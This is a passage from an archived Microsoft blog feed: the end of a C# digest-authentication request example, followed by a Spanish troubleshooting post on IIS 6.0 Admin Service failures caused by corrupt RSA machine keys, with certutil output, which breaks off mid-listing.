<p class="MsoNormal" style="background: #f2f2f2; line-height: normal; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; list-style-type: disc; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-family: Consolas; font-size: small;"><span style="background-image: none; background-attachment: scroll; background-repeat: repeat; background-size: auto; background-origin: padding-box; background-clip: border-box; mso-ansi-language: en-us; mso-highlight: white;" lang="EN-US">DigestHttpWebRequest</span><span style="background-image: none; background-attachment: scroll; background-repeat: repeat; background-size: auto; background-origin: padding-box; background-clip: border-box; mso-ansi-language: en-us; mso-highlight: white;" lang="EN-US"> request = </span><span style="background-image: none; background-attachment: scroll; background-repeat: repeat; background-size: auto; background-origin: padding-box; background-clip: border-box; mso-ansi-language: en-us; mso-highlight: white;" lang="EN-US">new</span><span style="background-image: none; background-attachment: scroll; background-repeat: repeat; background-size: auto; background-origin: padding-box; background-clip: border-box; mso-ansi-language: en-us; mso-highlight: white;" lang="EN-US">DigestHttpWebRequest</span><span style="background-image: none; background-attachment: scroll; background-repeat: repeat; background-size: auto; background-origin: padding-box; background-clip: border-box; mso-ansi-language: en-us; mso-highlight: white;" lang="EN-US">(username, password);</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; line-height: normal; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; list-style-type: disc; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-family: Consolas; font-size: small;"><span style="background-image: none; background-attachment: scroll; background-repeat: repeat; background-size: auto; background-origin: padding-box; background-clip: border-box; mso-ansi-language: en-us; mso-highlight: white;" lang="EN-US">request.Method = </span><span style="background-image: none; background-attachment: scroll; background-repeat: repeat; background-size: auto; background-origin: padding-box; background-clip: border-box; mso-ansi-language: en-us; mso-highlight: white;" lang="EN-US">WebRequestMethods</span><span style="background-image: none; background-attachment: scroll; background-repeat: repeat; background-size: auto; background-origin: padding-box; background-clip: border-box; mso-ansi-language: en-us; mso-highlight: white;" lang="EN-US">.</span><span style="background-image: none; background-attachment: scroll; background-repeat: repeat; background-size: auto; background-origin: padding-box; background-clip: border-box; mso-ansi-language: en-us; mso-highlight: white;" lang="EN-US">Http</span><span style="background-image: none; background-attachment: scroll; background-repeat: repeat; background-size: auto; background-origin: padding-box; background-clip: border-box; mso-ansi-language: en-us; mso-highlight: white;" lang="EN-US">.Post;</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; line-height: normal; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; list-style-type: disc; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-family: Consolas; font-size: small;"><span style="background-image: none; background-attachment: scroll; background-repeat: repeat; background-size: auto; background-origin: padding-box; background-clip: border-box; mso-ansi-language: en-us; mso-highlight: white;" lang="EN-US">request.ContentType = </span><span style="background-image: none; background-attachment: scroll; background-repeat: repeat; background-size: auto; background-origin: padding-box; background-clip: border-box; mso-ansi-language: en-us; mso-highlight: white;" lang="EN-US">"text/plain; charset=utf-8"</span><span style="background-image: none; background-attachment: scroll; background-repeat: repeat; background-size: auto; background-origin: padding-box; background-clip: border-box; mso-ansi-language: en-us; mso-highlight: white;" lang="EN-US">;</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; line-height: normal; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; list-style-type: disc; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-family: Consolas; font-size: small;"><span style="background-image: none; background-attachment: scroll; background-repeat: repeat; background-size: auto; background-origin: padding-box; background-clip: border-box; mso-highlight: white;">request.PostData = </span><span style="background-image: none; background-attachment: scroll; background-repeat: repeat; background-size: auto; background-origin: padding-box; background-clip: border-box; mso-highlight: white;">Encoding</span><span style="background-image: none; background-attachment: scroll; background-repeat: repeat; background-size: auto; background-origin: padding-box; background-clip: border-box; mso-highlight: white;">.ASCII.GetBytes(postData);<span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; line-height: normal; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; list-style-type: disc; mso-background-themecolor: background1; mso-background-themeshade: 242;"><span style="font-size: small;"><span style="background-image: none; background-attachment: scroll; background-repeat: repeat; background-size: auto; background-origin: padding-box; background-clip: border-box; mso-ansi-language: en-us; mso-highlight: white;" lang="EN-US">HttpWebResponse</span><span style="background-image: none; background-attachment: scroll; background-repeat: repeat; background-size: auto; background-origin: padding-box; background-clip: border-box; mso-ansi-language: en-us; mso-highlight: white;" lang="EN-US"><span style="font-family: Consolas; font-size: small;"> result = request.GetResponse(uri);</span><span style="mso-spacerun: yes;">&nbsp; </span></span></span></p>
<p>&nbsp;</p>
<p><span style="font-family: Calibri;"><span style="font-size: small;"><strong><span style="font-size: large;">Applies to</span> <br /></strong><span style="font-size: medium;">Microsoft .NET Framework 1.1 </span><br /><span style="font-size: medium;">Microsoft .NET Framework 2.0 </span><br /><span style="font-size: medium;">Microsoft .NET Framework 3.0 </span><br /><span style="font-size: medium;">Microsoft .NET Framework 3.5 </span><br /><span style="font-size: medium;">Microsoft .NET Framework 4.0 </span><br /><span style="font-size: medium;">Microsoft .NET Framework 4.5</span></span></span></p>]]></content:encoded>
    </item>
    <item>
      <title>Corrupción de las claves RSA y la importancia de hacer backup</title>
      <link>https://docs.microsoft.com/archive/blogs/daniem/corrupcin-de-las-claves-rsa-y-la-importancia-de-hacer-backup</link>
      <pubDate>Mon, 28 May 2012 07:01:00 GMT</pubDate>
      <dc:creator><![CDATA[Daniel Mossberg]]></dc:creator>
      <guid
        isPermaLink="false">https://blogs.msdn.microsoft.com/daniem/2012/05/28/corrupcin-de-las-claves-rsa-y-la-importancia-de-hacer-backup/</guid>
      <description><![CDATA[Recientemente he trabajado en un caso en el que tras reiniciar un servidor Windows Server 2003, el...]]></description>
      <content:encoded><![CDATA[<p style="line-height: normal; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; list-style-type: disc;" class="MsoNormal"><span style="mso-bidi-font-size: 11.0pt; mso-ansi-language: es;" lang="ES"><font style="font-size: 12pt;" face="Calibri">Recientemente he trabajado en un caso en el que tras reiniciar un servidor Windows Server 2003, el servicio <i style="mso-bidi-font-style: normal;">IIS Admin Service</i> fallaba en el arranque con el siguiente mensaje de error:</font></span></p>  <p style="line-height: normal; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; list-style-type: disc;" class="MsoNormal"><span style="mso-bidi-font-size: 11.0pt; mso-ansi-language: es;" lang="ES"></span>&#160;<font style="font-size: 12pt;"></font><font face="Calibri"></font>&#160; </p>  <p style="background: rgb(242, 242, 242); line-height: normal; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; list-style-type: disc;" class="MsoNormal"><span><font style="font-size: 10pt;" face="Courier New">Windows could not start the IIS Admin Service on Local Computer. For more information, review the System Event Log. If this is a non-Microsoft service, contact the service vendor, and refer to service-specific error code -2146893813.</font></span><span style="mso-bidi-font-size: 11.0pt;"></span></p> <font style="font-size: 12pt;"></font><font face="Calibri"></font>  <p style="line-height: normal; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; list-style-type: disc;" class="MsoNormal"><span style="mso-bidi-font-size: 11.0pt;"><font style="font-size: 12pt;" face="Calibri">&#160; <br /></font></span><span style="mso-bidi-font-size: 11.0pt; mso-ansi-language: es;" lang="ES"><font style="font-size: 12pt;" face="Calibri">Adicionalmente, en el log de eventos de sistema se registraba el siguiente error:</font></span></p>  <p style="line-height: normal; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; list-style-type: disc;" class="MsoNormal"><span style="mso-bidi-font-size: 11.0pt; mso-ansi-language: es;" lang="ES"></span>&#160;<font style="font-size: 12pt;"></font><font face="Calibri"></font>&#160; </p>  <p style="background: rgb(242, 242, 242); line-height: normal; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; list-style-type: disc;" class="MsoNormal"><span><font style="font-size: 10pt;" face="Courier New">Manuel: Event Type: Error        <br />Event Source: Service Control Manager         <br />Event Category: None         <br />Event ID: 7024         <br />Date: 23/05/2012         <br />Time: 11:40:35         <br />User: N/A         <br />Computer: IIS6-Server         <br />Description:         <br />The IIS Admin Service service terminated with service-specific error 2148073483 (0x8009000B).</font></span></p> <font style="font-size: 12pt;"></font><font face="Calibri"></font>  <p style="line-height: normal; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; list-style-type: disc;" class="MsoNormal"><span style="mso-bidi-font-size: 11.0pt;"><font style="font-size: 12pt;" face="Calibri">&#160;</font></span></p>  <p style="line-height: normal; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; list-style-type: disc;" class="MsoNormal"><span style="mso-bidi-font-size: 11.0pt;"></span><span style="mso-bidi-font-size: 11.0pt; mso-ansi-language: es;" lang="ES"><font style="font-size: 12pt;" face="Calibri">El código de error <b style="mso-bidi-font-weight: normal;">0x8009000B </b>se corresponde a <b style="mso-bidi-font-weight: normal;">NTE_BAD_KEY_STATE </b>(“<i style="mso-bidi-font-style: normal;">Key not valid for use in specified state</i>”o “<i style="mso-bidi-font-style: normal;">Clave no válida para utilizar en el estado especificado</i>” en castellano) e indica un error al utilizar unas claves de encriptación.         <br />        <br /></font></span><font face="Calibri"><font style="font-size: 12pt;"><span style="mso-bidi-font-size: 11.0pt; mso-ansi-language: es;" lang="ES">IIS 6.0 cifra algunos campos del fichero XML de configuración (metabase.xml) con información sensible como contraseñas de cuentas de servicio. Para esto, IIS 6.0 crea un contenedor de claves criptográficas durante la instalación del servicio llamado “Microsoft Internet Information Server”. Este contenedor de claves está almacenado físicamente en el fichero <b style="mso-bidi-font-weight: normal;">%ALLUSERSPROFILE%\Application Data\Microsoft\Crypto\RSA\MachineKeys\c2319c42033a5ca7f44e731bfd3fa2b5_&lt;MachineGuid&gt;. </b>El valor de </span><b><span style="mso-ansi-language: es;" lang="ES">MachineGuid</span></b></font><span style="mso-ansi-language: es;" lang="ES"><font style="font-size: 12pt;"> se puede obtener de la siguiente clave del registro y será distinto en cada servidor:</font></span><span style="mso-bidi-font-size: 11.0pt; mso-ansi-language: es;" lang="ES"></span></font>&#160; <br />&#160;<font style="font-size: 12pt;"></font><font face="Calibri"></font>&#160; </p>  <p style="background: rgb(242, 242, 242); line-height: normal; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; list-style-type: disc;" class="MsoNormal"><span><font style="font-size: 10pt;" face="Courier New">[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography]</font></span></p> <font style="font-size: 12pt;"></font><font face="Courier New"></font>  <p style="background: rgb(242, 242, 242); line-height: normal; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; list-style-type: disc;" class="MsoNormal"><span><font style="font-size: 10pt;" face="Courier New">&quot;MachineGuid&quot;=&quot;xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx&quot;</font></span></p> <font style="font-size: 12pt;"></font><font face="Calibri"></font>  <p style="line-height: normal; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; list-style-type: disc;" class="MsoNormal"><span style="mso-ascii-font-family: calibri; mso-hansi-font-family: calibri; mso-bidi-font-family: calibri;"><font style="font-size: 12pt;" face="Calibri">&#160; <br /></font></span><span style="mso-bidi-font-size: 11.0pt; mso-ansi-language: es;" lang="ES"><font style="font-size: 12pt;" face="Calibri">Con la herramienta <b style="mso-bidi-font-weight: normal;">certutil </b>podemos volcar cierta información de este contenedor de claves, y entre otras cosas podemos ver que las claves privadas no son exportables, por lo que el fichero metabase.xml cifrado con estas claves únicamente podrá ser descifrado en el mismo servidor donde fue creado.&#160; <br /></font></span>&#160;<font style="font-size: 12pt;"></font><font face="Calibri"></font>&#160; </p>  <p style="background: black; line-height: normal; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; list-style-type: disc; mso-background-themecolor: text1;" class="MsoNormal"><span style="mso-themecolor: background1; mso-themeshade: 242; mso-style-textfill-fill-color: #f2f2f2; mso-style-textfill-fill-themecolor: background1; mso-style-textfill-fill-alpha: 100.0%;"><font face="Consolas"><font color="#f2f2f2"><font style="font-size: 11pt;">C:\WINDOWS\system32&gt;</font><b style="mso-bidi-font-weight: normal;"><span style="background-image: none; background-attachment: scroll; background-repeat: repeat; background-size: auto; background-origin: padding-box; background-clip: border-box; mso-highlight: red;"><font style="font-size: 11pt; background-color: rgb(255, 0, 0);">certutil -v -key &quot;Microsoft Internet Information Server&quot;</font></span></b></font></font></span></p> <font color="#f2f2f2"><font style="font-size: 12pt;"></font><font face="Consolas"></font></font>  <p style="background: black; line-height: normal; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; list-style-type: disc; mso-background-themecolor: text1;" class="MsoNormal"><span style="mso-themecolor: background1; mso-themeshade: 242; mso-style-textfill-fill-color: #f2f2f2; mso-style-textfill-fill-themecolor: background1; mso-style-textfill-fill-alpha: 100.0%;"><font style="font-size: 11pt;" color="#f2f2f2" face="Consolas">Microsoft Strong Cryptographic Provider:</font></span></p> <font color="#f2f2f2"><font style="font-size: 12pt;"></font><font face="Consolas"></font></font>  <p style="background: black; line-height: normal; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; list-style-type: disc; mso-background-themecolor: text1;" class="MsoNormal"><span style="mso-themecolor: background1; mso-themeshade: 242; mso-style-textfill-fill-color: #f2f2f2; mso-style-textfill-fill-themecolor: background1; mso-style-textfill-fill-alpha: 100.0%;"><font face="Consolas"><font color="#f2f2f2"><span style="mso-spacerun: yes;"><font style="font-size: 11pt;"></font></span><font style="font-size: 11pt;">Microsoft Internet Information Server</font></font></font></span></p> <font color="#f2f2f2"><font style="font-size: 12pt;"></font><font face="Consolas"></font></font>  <p style="background: black; line-height: normal; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; list-style-type: disc; mso-background-themecolor: text1;" class="MsoNormal"><span style="mso-themecolor: background1; mso-themeshade: 242; mso-style-textfill-fill-color: #f2f2f2; mso-style-textfill-fill-themecolor: background1; mso-style-textfill-fill-alpha: 100.0%;"><font face="Consolas"><font color="#f2f2f2"><span style="mso-spacerun: yes;"><font style="font-size: 11pt;"> </font></span><font style="font-size: 11pt;">c2319c42033a5ca7f44e731bfd3fa2b5_809cf898-e06e-4673-83e2-6200ef0291cc</font></font></font></span></p> <font color="#f2f2f2"><font style="font-size: 12pt;"></font><font face="Consolas"></font></font>  <p style="background: black; line-height: normal; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; list-style-type: disc; mso-background-themecolor: text1;" class="MsoNormal"><span style="mso-themecolor: background1; mso-themeshade: 242; mso-style-textfill-fill-color: #f2f2f2; mso-style-textfill-fill-themecolor: background1; mso-style-textfill-fill-alpha: 100.0%;"><font style="font-size: 11pt;" color="#f2f2f2" face="Consolas">       <br /></font></span></p> <font color="#f2f2f2"><font style="font-size: 12pt;"></font><font face="Consolas"></font></font>  <p style="background: black; line-height: normal; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; list-style-type: disc; mso-background-themecolor: text1;" class="MsoNormal"><span style="mso-themecolor: background1; mso-themeshade: 242; mso-style-textfill-fill-color: #f2f2f2; mso-style-textfill-fill-themecolor: background1; mso-style-textfill-fill-alpha: 100.0%;"><font face="Consolas"><font color="#f2f2f2"><span style="mso-spacerun: yes;"><font style="font-size: 11pt;"></font></span><font style="font-size: 11pt;">AT_SIGNATURE:</font></font></font></span></p> <font color="#f2f2f2"><font style="font-size: 12pt;"></font><font face="Consolas"></font></font>  <p style="background: black; line-height: normal; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; list-style-type: disc; mso-background-themecolor: text1;" class="MsoNormal"><span style="mso-themecolor: background1; mso-themeshade: 242; mso-style-textfill-fill-color: #f2f2f2; mso-style-textfill-fill-themecolor: background1; mso-style-textfill-fill-alpha: 100.0%;"><font style="font-size: 11pt;" color="#f2f2f2" face="Consolas">Key Id Hash(sha1): d0 31 ed 58 81 bf 61 b9 a3 76 99 cb 17 ad ce 88 ff b7 b8 cd</font></span></p> <font color="#f2f2f2"><font style="font-size: 12pt;"></font><font face="Consolas"></font></font>  <p style="background: black; line-height: normal; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; list-style-type: disc; mso-background-themecolor: text1;" class="MsoNormal"><span style="mso-themecolor: background1; mso-themeshade: 242; mso-style-textfill-fill-color: #f2f2f2; mso-style-textfill-fill-themecolor: background1; mso-style-textfill-fill-alpha: 100.0%;"><font style="font-size: 11pt;" color="#f2f2f2" face="Consolas">Container Public Key:</font></span></p> <font color="#f2f2f2"><font style="font-size: 12pt;"></font><font face="Consolas"></font></font>  <p style="background: black; line-height: normal; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; list-style-type: disc; mso-background-themecolor: text1;" class="MsoNormal"><span style="mso-themecolor: background1; mso-themeshade: 242; mso-style-textfill-fill-color: #f2f2f2; mso-style-textfill-fill-themecolor: background1; mso-style-textfill-fill-alpha: 100.0%;"><font face="Consolas"><font color="#f2f2f2"><span style="mso-spacerun: yes;"><font style="font-size: 11pt;"></font></span><font style="font-size: 11pt;">0000<span style="mso-spacerun: yes;"></span>30 48 02 41 00 cd c2 ba<span style="mso-spacerun: yes;"></span>b5 47 a7 2b 2f 57 4b ae</font></font></font></span></p> <font color="#f2f2f2"><font style="font-size: 12pt;"></font><font face="Consolas"></font></font>  <p style="background: black; line-height: normal; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; list-style-type: disc; mso-background-themecolor: text1;" class="MsoNormal"><span style="mso-themecolor: background1; mso-themeshade: 242; mso-style-textfill-fill-color: #f2f2f2; mso-style-textfill-fill-themecolor: background1; mso-style-textfill-fill-alpha: 100.0%;"><font face="Consolas"><font color="#f2f2f2"><span style="mso-spacerun: yes;"><font style="font-size: 11pt;"></font></span><font style="font-size: 11pt;">0010<span style="mso-spacerun: yes;"></span>a7 fe 26 9c a2 ed f3 f9<span style="mso-spacerun: yes;"></span>58 36 df 8f 35 31 1c c0</font></font></font></span></p> <font color="#f2f2f2"><font style="font-size: 12pt;"></font><font face="Consolas"></font></font>  <p style="background: black; line-height: normal; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; list-style-type: disc; mso-background-themecolor: text1;" class="MsoNormal"><span style="mso-themecolor: background1; mso-themeshade: 242; mso-style-textfill-fill-color: #f2f2f2; mso-style-textfill-fill-themecolor: background1; mso-style-textfill-fill-alpha: 100.0%;"><font face="Consolas"><font color="#f2f2f2"><span style="mso-spacerun: yes;"><font style="font-size: 11pt;"></font></span><font style="font-size: 11pt;">0020<span style="mso-spacerun: yes;"></span>32 2c 35 8c 42 68 84 0d<span style="mso-spacerun: yes;"></span>c2 4d dd 9a fd 5d 87 0f</font></font></font></span></p> <font color="#f2f2f2"><font style="font-size: 12pt;"></font><font face="Consolas"></font></font>  <p style="background: black; line-height: normal; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; list-style-type: disc; mso-background-themecolor: text1;" class="MsoNormal"><font face="Consolas"><font color="#f2f2f2"><span style="mso-themecolor: background1; mso-themeshade: 242; mso-style-textfill-fill-color: #f2f2f2; mso-style-textfill-fill-themecolor: background1; mso-style-textfill-fill-alpha: 100.0%;"><span style="mso-spacerun: yes;"><font style="font-size: 11pt;"></font></span></span><span style="mso-ansi-language: es; mso-themecolor: background1; mso-themeshade: 242; mso-style-textfill-fill-color: #f2f2f2; mso-style-textfill-fill-themecolor: background1; mso-style-textfill-fill-alpha: 100.0%;" lang="ES"><font style="font-size: 11pt;">0030<span style="mso-spacerun: yes;"></span>b2 b9 33 d4 1b bc 62 64<span style="mso-spacerun: yes;"></span>7c bd d7 6c 59 6e c1 85</font></span></font></font></p> <font color="#f2f2f2"><font style="font-size: 12pt;"></font><font face="Consolas"></font></font>  <p style="background: black; line-height: normal; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; list-style-type: disc; mso-background-themecolor: text1;" class="MsoNormal"><font face="Consolas"><font color="#f2f2f2"><span style="mso-ansi-language: es; mso-themecolor: background1; mso-themeshade: 242; mso-style-textfill-fill-color: #f2f2f2; mso-style-textfill-fill-themecolor: background1; mso-style-textfill-fill-alpha: 100.0%;" lang="ES"><span style="mso-spacerun: yes;"><font style="font-size: 11pt;"></font></span></span><span style="mso-themecolor: background1; mso-themeshade: 242; mso-style-textfill-fill-color: #f2f2f2; mso-style-textfill-fill-themecolor: background1; mso-style-textfill-fill-alpha: 100.0%;"><font style="font-size: 11pt;">0040<span style="mso-spacerun: yes;"></span>b3 46 73 2c 59 02 03 01<span style="mso-spacerun: yes;"></span>00 01</font></span></font></font></p> <font color="#f2f2f2"><font style="font-size: 12pt;"></font><font face="Consolas"></font></font>  <p style="background: black; line-height: normal; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; list-style-type: disc; mso-background-themecolor: text1;" class="MsoNormal"><span style="mso-themecolor: background1; mso-themeshade: 242; mso-style-textfill-fill-color: #f2f2f2; mso-style-textfill-fill-themecolor: background1; mso-style-textfill-fill-alpha: 100.0%;"><font style="font-size: 11pt;" color="#f2f2f2" face="Consolas">       <br /></font></span></p> <font color="#f2f2f2"><font style="font-size: 12pt;"></font><font face="Consolas"></font></font>  <p style="background: black; line-height: normal; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; list-style-type: disc; mso-background-themecolor: text1;" class="MsoNormal"><span style="mso-themecolor: background1; mso-themeshade: 242; mso-style-textfill-fill-color: #f2f2f2; mso-style-textfill-fill-themecolor: background1; mso-style-textfill-fill-alpha: 100.0%;"><font style="font-size: 11pt;" color="#f2f2f2" face="Consolas">Private key is NOT exportable</font></span></p> <font color="#f2f2f2"><font style="font-size: 12pt;"></font><font face="Consolas"></font></font>  <p style="background: black; line-height: normal; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; list-style-type: disc; mso-background-themecolor: text1;" class="MsoNormal"><span style="mso-themecolor: background1; mso-themeshade: 242; mso-style-textfill-fill-color: #f2f2f2; mso-style-textfill-fill-themecolor: background1; mso-style-textfill-fill-alpha: 100.0%;"><font style="font-size: 11pt;" color="#f2f2f2" face="Consolas">       <br /></font></span></p> <font color="#f2f2f2"><font style="font-size: 12pt;"></font><font face="Consolas"></font></font>  <p style="background: black; line-height: normal; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; list-style-type: disc; mso-background-themecolor: text1;" class="MsoNormal"><span style="mso-themecolor: background1; mso-themeshade: 242; mso-style-textfill-fill-color: #f2f2f2; mso-style-textfill-fill-themecolor: background1; mso-style-textfill-fill-alpha: 100.0%;"><font face="Consolas"><font color="#f2f2f2"><span style="mso-spacerun: yes;"><font style="font-size: 11pt;"></font></span><font style="font-size: 11pt;">AT_KEYEXCHANGE:</font></font></font></span></p> <font color="#f2f2f2"><font style="font-size: 12pt;"></font><font face="Consolas"></font></font>  <p style="background: black; line-height: normal; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; list-style-type: disc; mso-background-themecolor: text1;" class="MsoNormal"><span style="mso-themecolor: background1; mso-themeshade: 242; mso-style-textfill-fill-color: #f2f2f2; mso-style-textfill-fill-themecolor: background1; mso-style-textfill-fill-alpha: 100.0%;"><font style="font-size: 11pt;" color="#f2f2f2" face="Consolas">Key Id Hash(sha1): 4f 50 e1 14 9f 63 73 0b ef ae 7c 34 e5 1d 6b d2 eb 1b 59 27</font></span></p> <font color="#f2f2f2"><font style="font-size: 12pt;"></font><font face="Consolas"></font></font>  <p style="background: black; line-height: normal; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; list-style-type: disc; mso-background-themecolor: text1;" class="MsoNormal"><span style="mso-themecolor: background1; mso-themeshade: 242; mso-style-textfill-fill-color: #f2f2f2; mso-style-textfill-fill-themecolor: background1; mso-style-textfill-fill-alpha: 100.0%;"><font style="font-size: 11pt;" color="#f2f2f2" face="Consolas">Container Public Key:</font></span></p> <font color="#f2f2f2"><font style="font-size: 12pt;"></font><font face="Consolas"></font></font>  <p style="background: black; line-height: normal; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; list-style-type: disc; mso-background-themecolor: text1;" class="MsoNormal"><span style="mso-themecolor: background1; mso-themeshade: 242; mso-style-textfill-fill-color: #f2f2f2; mso-style-textfill-fill-themecolor: background1; mso-style-textfill-fill-alpha: 100.0%;"><font face="Consolas"><font color="#f2f2f2"><span style="mso-spacerun: yes;"><font style="font-size: 11pt;"></font></span><font style="font-size: 11pt;">0000<span style="mso-spacerun: yes;"></span>30 48 02 41 00 a3 aa e0<span style="mso-spacerun: yes;"></span>ee 9f 45 e9 b4 6c 4d 11</font></font></font></span></p> <font color="#f2f2f2"><font style="font-size: 12pt;"></font><font face="Consolas"></font></font>  <p style="background: black; line-height: normal; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; list-style-type: disc; mso-background-themecolor: text1;" class="MsoNormal"><span style="mso-themecolor: background1; mso-themeshade: 242; mso-style-textfill-fill-color: #f2f2f2; mso-style-textfill-fill-themecolor: background1; mso-style-textfill-fill-alpha: 100.0%;"><font face="Consolas"><font color="#f2f2f2"><span style="mso-spacerun: yes;"><font style="font-size: 11pt;"></font></span><font style="font-size: 11pt;">0010<span style="mso-spacerun: yes;"></span>44 96 39 f8 f6 51 ec 90<span style="mso-spacerun: yes;"></span>14 60 1f 57 6e 10 d2 f4</font></font></font></span></p> <font color="#f2f2f2"><font style="font-size: 12pt;"></font><font face="Consolas"></font></font>  <p style="background: black; line-height: normal; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; list-style-type: disc; mso-background-themecolor: text1;" class="MsoNormal"><span style="mso-themecolor: background1; mso-themeshade: 242; mso-style-textfill-fill-color: #f2f2f2; mso-style-textfill-fill-themecolor: background1; mso-style-textfill-fill-alpha: 100.0%;"><font face="Consolas"><font color="#f2f2f2"><span style="mso-spacerun: yes;"><font style="font-size: 11pt;"></font></span><font style="font-size: 11pt;">0020<span style="mso-spacerun: yes;"></span>69 4c c1 1f 09 f5 69 e0<span style="mso-spacerun: yes;"></span>fd 75 67 40 00 0d a0 4a</font></font></font></span></p> <font color="#f2f2f2"><font style="font-size: 12pt;"></font><font face="Consolas"></font></font>  <p style="background: black; line-height: normal; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; list-style-type: disc; mso-background-themecolor: text1;" class="MsoNormal"><font face="Consolas"><font color="#f2f2f2"><span style="mso-themecolor: background1; mso-themeshade: 242; mso-style-textfill-fill-color: #f2f2f2; mso-style-textfill-fill-themecolor: background1; mso-style-textfill-fill-alpha: 100.0%;"><span style="mso-spacerun: yes;"><font style="font-size: 11pt;"></font></span></span><span style="mso-ansi-language: es; mso-themecolor: background1; mso-themeshade: 242; mso-style-textfill-fill-color: #f2f2f2; mso-style-textfill-fill-themecolor: background1; mso-style-textfill-fill-alpha: 100.0%;" lang="ES"><font style="font-size: 11pt;">0030<span style="mso-spacerun: yes;"></span>7d c3 b5 a1 40 b9 20 a6<span style="mso-spacerun: yes;"></span>5a 3e 1e e9 28 bd aa 2c</font></span></font></font></p> <font color="#f2f2f2"><font style="font-size: 12pt;"></font><font face="Consolas"></font></font>  <p style="background: black; line-height: normal; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; list-style-type: disc; mso-background-themecolor: text1;" class="MsoNormal"><font face="Consolas"><font color="#f2f2f2"><span style="mso-ansi-language: es; mso-themecolor: background1; mso-themeshade: 242; mso-style-textfill-fill-color: #f2f2f2; mso-style-textfill-fill-themecolor: background1; mso-style-textfill-fill-alpha: 100.0%;" lang="ES"><span style="mso-spacerun: yes;"><font style="font-size: 11pt;"></font></span></span><span style="mso-themecolor: background1; mso-themeshade: 242; mso-style-textfill-fill-color: #f2f2f2; mso-style-textfill-fill-themecolor: background1; mso-style-textfill-fill-alpha: 100.0%;"><font style="font-size: 11pt;">0040<span style="mso-spacerun: yes;"></span>6e 62 64 c9 61 02 03 01<span style="mso-spacerun: yes;"></span>00 01</font></span></font></font></p> <font color="#f2f2f2"><font style="font-size: 12pt;"></font><font face="Consolas"></font></font>  <p style="background: black; line-height: normal; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; list-style-type: disc; mso-background-themecolor: text1;" class="MsoNormal"><span style="mso-themecolor: background1; mso-themeshade: 242; mso-style-textfill-fill-color: #f2f2f2; mso-style-textfill-fill-themecolor: background1; mso-style-textfill-fill-alpha: 100.0%;"><font style="font-size: 11pt;" color="#f2f2f2" face="Consolas">       <br /></font></span></p> <font color="#f2f2f2"><font style="font-size: 12pt;"></font><font face="Consolas"></font></font>  <p style="background: black; line-height: normal; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; list-style-type: disc; mso-background-themecolor: text1;" class="MsoNormal"><span style="mso-themecolor: background1; mso-themeshade: 242; mso-style-textfill-fill-color: #f2f2f2; mso-style-textfill-fill-themecolor: background1; mso-style-textfill-fill-alpha: 100.0%;"><font style="font-size: 11pt;" color="#f2f2f2" face="Consolas">Private key is NOT exportable</font></span></p> <font color="#f2f2f2"><font style="font-size: 12pt;"></font><font face="Consolas"></font></font>  <p style="background: black; line-height: normal; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; list-style-type: disc; mso-background-themecolor: text1;" class="MsoNormal"><span style="mso-themecolor: background1; mso-themeshade: 242; mso-style-textfill-fill-color: #f2f2f2; mso-style-textfill-fill-themecolor: background1; mso-style-textfill-fill-alpha: 100.0%;"><font style="font-size: 11pt;" color="#f2f2f2" face="Consolas">       <br /></font></span></p> <font color="#f2f2f2"><font style="font-size: 12pt;"></font><font face="Consolas"></font></font>  <p style="background: black; line-height: normal; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; 